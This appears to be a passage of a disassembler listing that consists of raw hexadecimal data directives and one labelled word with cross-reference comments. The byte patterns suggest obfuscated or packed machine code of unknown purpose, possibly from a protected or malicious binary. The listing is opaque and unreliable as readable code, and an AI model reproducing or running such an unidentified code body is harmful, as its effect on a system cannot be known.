		dd 0BD835F06h, 6442F11h, 56850F01h, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
		dd 876BC356h, 9BB66D3h,	89026A97h, 4429A995h, 51958906h
		dd 5006441Ah, 0B880Fh, 890F0000h, 5, 631ADCBFh,	24048907h
		dd 97CD67BBh, 6D95FF48h, 29064429h, 44094D85h, 0E5AE906h
		dd 0E80000h, 5D000000h,	3701ED81h, 6A0648h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 190424h, 50400000h, 0D1C04BC3h
		dd 89B1B52Bh, 441D6185h, 0CD0BBB06h, 840F7B2Dh,	6, 0E218589h
		dd 858D0644h, 6478B58h,	575090F5h, 5BDFB753h, 9D01905Bh
		dd 6440885h, 2850Fh, 0F98B0000h, 35FF64h, 8B000000h, 443189BDh
		dd 25896406h, 0
		dd 2F399589h, 85FF0644h, 64408E9h, 0EE960h, 8E230000h
		dd 61F34B2Ch, 9FDEC540h, 6AC7FDB5h, 0DE8h, 239EC600h, 456781F5h
		dd 0C496ECB9h, 0BF66D8D4h, 615AB9A9h, 0E01BD8Bh, 0FF6A0644h
		dd 15459D8Bh, 0B5FF0644h, 6441C9Dh, 8EE4BB66h, 228195FFh
		dd 0F2E90644h, 0B0000000h, 0C2CB8100h, 0E6031E51h, 0A1BD0970h
		dd 0F9064433h, 8B6671E4h, 0F613CDFh, 0D483h, 0C1BD0900h
		dd 0F064431h, 9D8BC8B6h, 6441E65h, 0AE8h, 0BC446000h, 0F4C1B826h
		dd 8B2808CBh, 6BA5BFBh,	66000000h, 0C18BD98Bh, 0C171D780h
		dd 66FC04E8h, 30B3E2F7h, 0BD31C82Bh, 64417E5h, 30099D8Bh
		dd 0D18B0644h, 0D199D8Bh, 5E90644h, 66000000h, 6384E781h
		dd 1F65858Bh, 96B70644h, 6607C083h, 837D43BBh, 858900C0h
		dd 64428CDh, 830FD03Bh,	11h, 0C955C381h, 52E951A4h, 89000000h
		dd 44036195h, 998D8B06h, 8B06442Ch, 440C2D9Dh, 1E18306h
		dd 37840Fh, 95890000h, 6440D21h, 2C99A583h, 23FE0644h
		dd 440DF99Dh, 65958906h, 6006441Fh, 10E8h, 0D0EC9300h
		dd 0B6C6106Eh, 0F5AF94DAh, 0EC68F275h, 61F95857h, 0E9h
		dd 73B58D00h, 6A0647CDh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1A042444h, 42000000h, 544FC352h, 0C97265EBh
		dd 6A006A79h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1A042444h, 45000000h, 0BD38C355h, 956493F3h,	0F38166C7h
		dd 95FFA6E7h, 6441C4Dh,	1DC1BD8Bh, 87B90644h, 6A000007h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1C042444h
		dd 46000000h, 3629C356h, 3E7D74C4h, 0BFFB1A45h,	4E55BBB9h
		dd 6AFCE183h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 14042444h, 40000000h, 0FCB8C350h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 17h, 0C1C35242h,	0E97B9C3Bh, 0Fh
		dd 7AD72360h, 0C67210h,	4BA89688h
		db 6Fh,	2Ah
word_580046	dw 66C7h		; DATA XREF: ___:off_4328B4o
					; ___:004328BCo ...
		dd 0B8FB8Bh, 1000000h, 442B899Dh, 0BA06h, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 718D5BC3h, 0D9BBDD0h, 5798E780h, 5B2EB353h, 0DE8B605Bh
		dd 2A8950B8h, 33AD6114h, 3E8D1C2h, 4E983D0h, 6AF475h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 931DCC3h, 880D33F4h,	6ADF8Bh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1A0424h, 51410000h, 805189C3h, 3FAD42BCh
		dd 880Dh, 0BDBD8B00h, 8B064423h, 442F5D95h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1904h, 0C3574700h
		dd 8F293FA5h, 9D8B426Ch, 64433CDh, 6798D8Bh, 6A0644h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 1741ECC3h, 79849222h, 5E8CE75h, 3A000000h, 9D0F572Ch
		dd 33A99D8Bh, 505F0644h, 188BC28Bh, 188BC103h, 0E8D1C18Bh
		dd 188BC203h, 51006A58h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1D04h, 0C3514100h, 0A6485814h, 9C295AA2h, 850F3E01h
		dd 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 5AC35646h
		dd 0EA394AB5h, 85895297h, 64430D1h, 2CADBD83h, 0F000644h
		dd 8B84h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1B04h, 0C3574700h, 81B1E5A1h, 3BDE090Bh, 2ED59D89h
		dd 85890644h, 6440421h,	0B8h, 0DD858900h, 8D064418h, 444E558Dh
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1D04h
		dd 0C3554500h, 0DC2D2B69h, 0B35497CCh, 9D8BF823h, 6441EF9h
		dd 6AE1FFh, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h
		dd 50400000h, 0E8F5BC3h, 1071BD83h, 0F000644h, 4D284h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1D04h
		dd 0C3574700h, 0A552FAF0h, 0C1A5Ch, 0BD83759Eh,	6441071h
		dd 0BB840F01h, 6A000004h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 17042444h, 40000000h, 0C31BC350h,	8D894622h
		dd 64418EDh, 1071BD83h,	0F030644h, 45386h, 0C7816600h
		dd 29601D78h, 442F61B5h, 0D98C6606h, 819D2352h,	5F064410h
		dd 6A04E180h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 17042444h, 46000000h, 5E70C356h, 810FC18Eh, 9, 75B58B60h
		dd 0F8064430h, 0FC90A61h, 1B784h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 730097A8h
		dd 8983EDB6h, 44146D95h, 3820F06h, 80000000h, 858BAECFh
		dd 6440AD5h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Bh,	48C35545h, 9C0DFF23h, 0E9C6A985h, 6, 921481B0h
		dd 74B3CC16h, 3BD8533h,	6A0644h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 190424h, 50400000h, 0D3E866C3h, 50A0D823h
		dd 52505353h, 585A310Fh, 4895B5Fh, 50006A24h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1904h,	0C3504000h, 0DC237745h
		dd 81668D6Ah, 0B4431DBh, 440A319Dh, 6A006A06h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h
		dd 58E4C355h, 6058AF8h,	0E88C175Bh, 4, 1F03FFh,	0A860Fh
		dd 0B6600000h, 0F52508Eh, 61585A31h, 0DE8B6650h, 424448Bh
		dd 79F444BBh, 89008B5Bh, 60042444h, 6800Fh, 52500000h
		dd 585A310Fh, 586127B7h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 19h, 0B5C35545h, 7EBC3C5Bh, 0B58B606Eh, 64413A5h
		dd 369DF381h, 0FF614A68h, 44008195h, 57006A06h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1904h,	0C3574700h, 8CB0A6F6h
		dd 9D8B7560h, 64429D5h,	0B7608589h, 6A0647h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 170424h, 57470000h, 0A30378C3h
		dd 2D9D8BFEh, 0E906442Dh, 1CFh,	0B758858Bh, 6A0647h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 2C9142C3h, 8E856F9h,	0D1000000h, 0BEA73C94h,	8939951Eh
		dd 4408C1BDh, 0C75B5F06h, 1800h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1404h,	0C3574700h, 8BF98BA3h
		dd 47B75CB5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1A04h, 0C3534300h, 38D0861Ah, 89786F89h, 442DD995h
		dd 0D858B06h, 6A064430h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 14042444h, 46000000h, 89F8C356h, 69858906h
		dd 8B06442Fh, 440AD585h, 4689FC06h, 0DFB70F04h,	0BE896h
		dd 0E1BD0000h, 5BB830B4h, 24273911h, 5820F11h, 0BF000000h
		dd 50887F09h, 0BB66505Fh, 6A96608Ch, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 8B78C357h
		dd 4402459Dh, 6830F06h,	89000000h, 44067D9Dh, 58B5FF06h
		dd 520647B7h, 6810Fh, 0BD8B0000h, 64419D9h, 9D16685Bh
		dd 800FEE05h, 0Ah, 0F88A5250h, 5B53310Fh, 481585Ah, 1966E924h
		dd 14E812h, 0C13A0000h,	0BF7BF266h, 786099FDh, 0AD18E010h
		dd 609CD20Dh, 85891965h, 6441D81h, 60858D5Fh, 6A0647B7h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 17042444h
		dd 46000000h, 0BDA0C356h, 0B70F312Bh, 8B6690F8h, 0DE950D9h
		dd 26000000h, 8DD4974Ch, 74D38B44h, 0A19B51F2h,	53006A90h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1804h, 0C3534300h
		dd 57E075D3h, 8195FF63h, 66064400h, 61FB33BBh, 0AE9h, 700D0B00h
		dd 91DC4082h, 0C72570E6h, 44107185h, 306h, 57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h
		dd 0B12FE754h, 0BD0B552Bh, 6440CCDh, 0B760BD83h, 0F000647h
		dd 2F84h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1604h, 0C3514100h, 0F0A68E0h, 8B66DBB7h, 21E9FAh, 9D8B0000h
		dd 6442F69h, 110C3050h,	1114400h, 3010E8C1h, 21144h, 5803114Ch
		dd 7504E983h, 5036EBE7h, 110430h, 0C1011164h, 443010E8h
		dd 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h
		dd 44300311h, 28580211h, 30011164h, 0E9831104h,	0EBE77504h
		dd 66C08B00h, 0E29BF781h, 14E9h, 0FEB32100h, 5789B069h
		dd 39FC54C2h, 52A0A2A4h, 6E473FA3h, 71BD83DDh, 3064410h
		dd 456850Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1A0424h, 53430000h, 5C1253C3h, 19DE3719h, 0CF1BD8Bh
		dd 0BD830644h, 647B760h, 21840F00h, 6A000004h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
		dd 0B254C353h, 0E6161C69h, 0E5CFBBBFh, 0B5FF6D57h, 647B760h
		dd 8B0Fh, 95FF0000h, 6440699h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ah, 0EBC35040h,	0B48B8753h, 816610A2h
		dd 8B4E28D3h, 47B754B5h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1A04h, 0C3574700h, 9CAD6136h, 0C74FF425h
		dd 1000106h, 56006A00h,	3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1604h, 0C3564600h, 81782CD5h, 9A6A43EBh, 66605072h
		dd 8961F18Bh, 8B602434h, 4425C5B5h, 61DA8B06h, 0B760B5FFh
		dd 8DBF0647h, 0FF3FC275h, 441E0195h, 0D48A6006h, 8B61C68Bh
		dd 47B754B5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1B04h, 0C3534300h, 5F22B2AFh, 2FF96FB0h, 23559529h
		dd 858B0644h, 6442E71h,	3399D8Bh, 86890644h, 0C4h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0B7C35747h, 3810F13h
		dd 80000000h, 958B4FEBh, 6442F5Dh, 2DDD9D31h, 0C2830644h
		dd 56006A04h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1C04h
		dd 0C3564600h, 0E0366DD2h, 0E8273D0Eh, 2050899Ah, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0FAC35242h, 0C2D01088h
		dd 0E5DCF381h, 0EF80706Eh, 1C870FD3h, 0F000000h, 1683h
		dd 11E900h, 0E3750000h,	4359F9A1h, 0A3210F2Bh, 0BFB93694h
		dd 8D572B2Bh, 47CAA085h
		dd 0FEBF0F06h, 0B88689h, 0BD890000h, 6441CE1h, 8B60006Ah
		dd 440039BDh, 0D97ABE06h, 0FF6116B8h, 47B760B5h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1B04h, 0C3554500h
		dd 0EC9DEE09h, 6CB6C03Ah, 296D95FFh, 6A0644h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 180424h, 56460000h, 0BD55D2C3h
		dd 9D33A68Eh, 6442439h,	0F785BB66h, 24348950h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 78C35747h, 0D516CD4h
		dd 0B5FF1F4Eh, 647B760h, 0A258D89h, 95FF0644h, 64417D9h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 68C35343h
		dd 83DBBF0Fh, 4414B5BDh, 840F0006h, 65h, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 19h, 97C35141h, 6CF91A13h
		dd 51F78104h, 8B7CA20Eh, 525050F8h, 8E0F310Fh, 3, 5ADE8B66h
		dd 24348958h, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 1Dh,	76C35040h, 0E48A81CEh, 0C9D4831Ch, 0D9BF66DBh
		dd 60B5FF2Bh, 6A0647B7h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 16042444h, 46000000h, 0B303C356h,	0DAB70FA0h
		dd 0C480BF66h, 2E7D95FFh, 0F7810644h, 9698D77h,	0B760B5FFh
		dd 6A0647h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
		dd 50400000h, 6A1B22C3h, 7E963D2h, 2C000000h, 0CEC0E21Fh
		dd 95FF27EBh, 6441441h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Dh, 0F9C35747h, 83FA23D5h, 480491Ah, 0D1BD8945h
		dd 8306440Ch, 440A85BDh, 840F0206h, 43h, 2F2D8589h, 858B0644h
		dd 6441591h, 830Fh, 13E80000h, 63000000h, 39DC68C2h, 6A52B1C4h
		dd 0DA506123h, 299A3A6Eh, 0BD33A8DCh, 64425F9h,	0C65Fh
		dd 0FFEBF0Fh, 687h, 0D5BD0B00h,	0C7064403h, 44175985h
		dd 6, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1B04h, 0C3504000h, 0EDE664CEh, 10DA6AB3h, 0FFF26DE9h
		dd 68F0FFFh, 89000000h,	442E2585h, 66C18B06h, 9E56C381h
		dd 1BE1858Dh, 0FA8B0644h, 89C9B750h, 9D232404h,	6440FD5h
		dd 8D29006Ah, 6441949h,	8D0F006Ah, 2, 0FC8AF98Bh, 4719858Dh
		dd 6A0648h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h
		dd 56460000h, 3EBE47C3h, 89B72380h, 8B91361Ch, 440A6DBDh
		dd 12E806h, 0A6D30000h,	987BA58Bh, 3ED2A770h, 0AE380F4Ch
		dd 95337C87h, 5DBD8B56h, 5F064422h, 0F9B70F5Bh,	6A05C083h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1B042444h
		dd 41000000h, 0C214C351h, 0D5C3C4E3h, 0BF50A3F5h, 75737DB9h
		dd 6A240489h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1B042444h, 46000000h, 381CC356h, 0CB8FDE35h,	8166BBA5h
		dd 66D8F8DFh, 0B50D88Bh, 4408C19Dh, 6A5F06h, 0F60006Ah
		dd 282h, 665A5100h, 61CF71BBh, 182595FFh, 6A0644h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
		dd 3E1C11C3h, 8D8DBED6h, 6479A97h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Bh, 5FC35646h, 0AB166B35h, 0BBB97AE6h
		dd 6BC2159Bh, 8D0Fh, 0D1FF0000h, 0FE9h,	1A043F00h, 0B8DB5A24h
		dd 63863F5Ch, 0FB4DBD3Ah, 2F11BD83h, 0F010644h,	5685h
		dd 0BD9D8900h, 6A064410h, 4895002h, 11E924h, 0C0300000h
		dd 38AC60Ch, 0B0FBB735h, 433F3F8Bh, 0FF09A631h,	44296D95h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1B04h
		dd 0C3554500h, 0EF0B0FB5h, 9EF48E5Bh, 60CB8166h, 0DB589B6h
		dd 0E9064403h, 0D91h, 0E8h, 0ED815D00h,	6484723h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 17h, 8EC35040h, 56618912h
		dd 0AE9h, 0FF8C3D00h, 0BEC5603Ch, 5BFD6AACh, 8B58858Dh
		dd 6A0647h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
		dd 51410000h, 0CF1BCDC3h, 8B66A0E7h, 757BBD8h, 60506A63h
		dd 0C1C270BBh, 0E50FBF4Dh, 89613E76h, 0B1602404h, 17E081C8h
		dd 6136B62Eh, 35FF64h, 8B000000h, 442A9D9Dh, 0A59D0106h
		dd 6406440Dh, 2589h, 8D010000h,	6441CE1h, 1E859D89h, 85FF0644h
		dd 64408E9h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 14h,	9FC35141h, 2FA5BD89h, 0FF6A0644h, 24EDBD8Bh, 8D890644h
		dd 64413C5h, 1EB9B5FFh,	95FF0644h, 6442281h, 146E9h, 0B0D98B00h
		dd 0E6FA8B00h, 0F71E470h, 58Eh,	8DE3BF00h, 613C3F2Fh, 129830Fh
		dd 81660000h, 0F97C1D3h, 0BD8BC8B6h, 6442535h, 6BAh, 0BCE38100h
		dd 8B4FFDA7h, 0BF0F60C1h, 858D8BFFh, 61064428h,	6604E8C1h
		dd 6657C7BBh, 9D2BE2F7h, 6440D79h, 24099589h, 0C82B0644h
		dd 0DE853h, 19AF0000h, 8C4CA90h, 0CBE583FBh, 0F312E3Bh
		dd 5F5BF8B7h, 0CE9D18Bh, 0B5000000h, 74571BB5h,	2B4A4F66h
		dd 0E9FA0C14h, 28h, 0FE9h, 0B7844000h, 5D9C4530h, 63FE6D2Ah
		dd 0DC440032h, 0FE9h, 21C1500h,	30F3D66h, 2DC09768h, 775196D3h
		dd 76D858Bh, 85890644h,	6440911h, 8907C083h, 441C7D95h
		dd 0C08306h, 3458D89h, 0D03B0644h, 11830Fh, 95890000h
		dd 64402F1h, 62E9h, 6DBD0B00h, 8B064408h, 441FC58Dh, 7CF8006h
		dd 0F01E183h, 4A84h, 0FE800h, 83B40000h, 0C2ACD66Ch, 1AD1A18Bh
		dd 21E6F0EFh, 3870FD4h,	0F000000h, 95BF8B7h, 440C3985h
		dd 0C5A58306h, 0FE06441Fh, 0A159D8Bh, 95890644h, 644076Dh
		dd 0B5BD8956h, 5F064432h, 2F99D8Bh, 0E90644h, 8D000000h
		dd 47D7A7B5h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1804h, 0C3504000h, 0E9615AEAh, 3D9D8B33h, 89064432h
		dd 4421299Dh, 0EF816606h, 6AEEFAh, 0A3D8589h, 95FF0644h
		dd 6441C4Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Ah,	4BC35545h, 5A09BF67h, 10E91DCEh, 0F6000000h, 0A0F35C0Ch
		dd 3E312BBDh, 5AB64611h, 0B96A4B65h, 0E42h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 4BC35545h, 6A048FB1h
		dd 0A3159B65h, 7DA7BB66h, 60FCE183h, 6FC3BB66h,	890F56h
		dd 5E000000h, 6AFC61h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 180424h, 53430000h, 0E62E16C3h, 0E9F9B607h, 0Ch, 7CB0363Dh
		dd 0BAA4918Ah, 899F4206h, 0B8h,	51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 0A77BBAD3h
		dd 0C7C1FDB7h, 0D22BBEBEh, 0ADDF8B66h, 0E8D1C233h, 0E983D003h
		dd 6AF47504h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 19042444h, 47000000h, 23ABC357h, 0E267D870h,	2FF58D89h
		dd 95890644h, 6442589h,	880Dh, 9D8B5600h, 6442339h, 6810F5Fh
		dd 0F000000h, 85h, 5D958B00h, 0E906442Fh, 5, 2F61E8F4h
		dd 0B58B600Bh, 6441BC1h, 8D8B61F9h, 6440679h, 6830Fh
		dd 95890000h, 64421E1h,	8BC28B50h, 8BC10318h, 0D1C18B18h
		dd 8BC203E8h, 95895818h, 6441DC9h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ch, 0EFC35242h,	8C5928F6h, 0A80BFADBh
		dd 28F0Fh, 46B30000h, 2CADBD83h, 0F000644h, 8784h, 68E0F00h
		dd 89000000h, 442E3585h, 0B806h, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 140424h, 52420000h, 14E914C3h
		dd 87000000h, 0D9A354C7h, 0D857EFB7h, 0FD047864h, 5F634140h
		dd 8DA6044Bh, 444E558Dh, 0E1FFFC06h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 19h, 0DBC35545h,	873A0D05h, 9E888h
		dd 0A9A80000h, 1EA16E23h, 6091F696h, 2A059D23h,	5F610644h
		dd 1071BD83h, 0F000644h, 42184h, 0AD958900h, 83064431h
		dd 441071BDh, 840F0106h, 429h, 1071BD83h, 0F030644h, 3E686h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1604h
		dd 0C3574700h, 666B3E2Bh, 60B6BABFh, 6870Fh, 0B5290000h
		dd 6441C95h, 6AD98C66h,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 17042444h, 46000000h, 9CCCC356h, 0BF66E35Ah
		dd 0D381CD73h, 4E1713A5h, 6A04E180h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 0CFF7C352h
		dd 538EA803h, 0EABA14BFh, 0C90A5B1Bh, 12D840Fh,	858B0000h
		dd 6440AD5h, 0F99589FCh, 33064403h, 4403BD85h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1704h, 0C3504000h
		dd 2578BB96h, 6E990h, 59480000h, 16A136ECh, 0EE850h, 0BB100000h
		dd 0E6B5CE22h, 4569AD5Ch, 79AEF28Bh, 0BE9h, 73CAE900h
		dd 57A2A5E0h, 0B031C5B5h, 6A905Fh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 160424h, 57470000h, 236411C3h, 4F57BF66h
		dd 4D68006Ah, 606A0002h, 0F678BA66h, 8161E3B4h,	1B22434h
		dd 10E86A1Fh, 52000000h, 0CD20453Ch, 3EDEC2F1h,	0F5C71EA0h
		dd 5F69D01Dh, 8195FFh, 6A0644h,	3E851h,	59200000h, 4C8959C3h
		dd 44810424h, 150424h, 51410000h, 8BB19CC3h, 440055BDh
		dd 60858906h, 600647B7h, 14800Fh, 0FE90000h, 20000000h
		dd 0DE222BB8h, 3836B51Eh, 3F2CC23Fh, 810F8DD6h,	2, 0E961C38Ah
		dd 1FBh, 0E851006Ah, 3,	59C35920h, 4244C89h, 4244481h
		dd 1Bh,	4FC35141h, 12A63857h, 8B0C3B51h, 47B75885h, 0C7C5B706h
		dd 1800h, 15BD8B00h, 0B306441Ah, 5CB58BF9h, 6A0647B7h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 18042444h
		dd 46000000h, 0C3F6C356h, 8908A90Fh, 441FC1B5h,	0D858B06h
		dd 6A064430h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 16042444h, 46000000h, 0C6EAC356h, 6A068948h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
		dd 2DB1C357h, 0A9FBBE7Ah, 0E9F9B70Fh, 12h, 9F53C31Ah, 77081090h
		dd 0C3D20A6Ch, 0C4F749CBh, 858BAE67h, 6440AD5h,	0EE9h
		dd 6FAF6E00h, 1C91520Eh, 0E80E25BEh, 89977CCBh,	0BD8B0446h
		dd 6442BCDh, 0BB665750h, 895FC600h, 0EB802434h,	55BD299Eh
		dd 0FF06440Ah, 47B758B5h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 57EA79C3h
		dd 68DB82ADh, 9043EF79h, 4815FB3h, 0DB148624h, 57006A6Fh
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1B04h, 0C3574700h
		dd 78DA42A3h, 4B4CBA2Ah, 9E9h, 2DBE5400h, 168B59B1h, 858DB58Bh
		dd 647B760h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 19h,	0DCC35646h, 28BD378Eh, 81666066h, 899943F1h, 4420658Dh
		dd 0F506106h, 280h, 8917B300h, 6A2404h,	3E856h,	5E200000h
		dd 74895EC3h, 44810424h, 170424h, 56460000h, 81E06FC3h
		dd 4840FA4h, 66000000h,	0FF8939BFh, 44008195h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1704h, 0C3534300h
		dd 9DD4A71h, 850Fh, 94BF0000h, 613DB916h, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 17h, 45C35747h, 8BDBFE95h
		dd 44097D9Dh, 7185C706h, 3064410h, 80000000h, 0BD83FFD3h
		dd 647B760h, 14840F00h,	89000000h, 441A558Dh, 24E906h
		dd 820F0000h, 3, 50D8B70Fh, 110C30h, 0C1011144h, 443010E8h
		dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh,	64001104h
		dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h
		dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h,	4300111h
		dd 4E98311h, 0EBE775h, 6AC08Bh,	3E856h,	5E200000h, 74895EC3h
		dd 44810424h, 1B0424h, 56460000h, 0D21911C3h, 7795630h
		dd 1BD8B93h, 8B06440Eh,	441C499Dh, 71BD8306h, 3064410h
		dd 421850Fh, 0E9F80000h, 0Dh, 0F0AD0D76h, 8E8A7314h, 0B25C3D75h
		dd 60BD83C1h, 647B7h, 401840Fh,	8F0F0000h, 6, 715BD2Bh
		dd 0B5FF0644h, 647B760h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 1Ah, 0A3C35242h, 0BE740B3h, 95FF3387h, 6440699h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 0D5C35040h
		dd 0B58BF535h, 647B754h, 97AFBB66h, 106C7h, 6A0001h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 0BF640C3h, 6840Fh, 0D7810000h, 5E8A56D4h, 96FBB70Fh
		dd 0EE9h, 9339E500h, 13D9374Ah,	0BD3F19D4h, 508C0FE0h
		dd 57006A96h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1604h
		dd 0C3574700h, 667E64A6h, 81D1CB81h, 0B5FFDF8Bh, 647B760h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 1DC35242h
		dd 41683D29h, 9D8BEAFBh, 6440DC5h, 0DF1BD09h, 95FF0644h
		dd 6441E01h, 2855BD0Bh,	0B58B0644h, 647B754h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0F0C35646h, 2CE4DAA6h
		dd 0F937EAD9h, 71858B27h, 8006442Eh, 8689C2CFh,	0C4h, 28D0Fh
		dd 0F98A0000h, 2F5D958Bh, 0DF800644h, 4C283A4h,	0E8B0Fh
		dd 9E90000h, 97000000h,	0D758598Ch, 4DE38159h, 2151B529h
		dd 50890644h, 0D9B70F20h, 10E9h, 9CF85A00h, 1EAC7286h
		dd 172320BBh, 0D5E16C84h, 0A0858D1Bh, 8B0647CAh, 0B88689D8h
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 14042444h, 46000000h, 6679C356h, 6A2B47BBh, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1B04h, 0C3554500h
		dd 3F6DE5D5h, 0A6E2BDA1h, 29E1BD8Bh, 0B5FF0644h, 647B760h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 76C35747h
		dd 0E5F78166h, 6D95FF35h, 96064429h, 96D98B50h,	0FBD1F5BFh
		dd 60B5FF79h, 560647B7h, 7E9h, 8BF40100h, 5117C6A3h, 0DEBF0F5Fh
		dd 17D995FFh, 6A0644h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1B0424h, 56460000h, 4B387C3h
		dd 6EC867CEh, 0D8589B8h, 83064400h, 4414B5BDh, 840F0006h
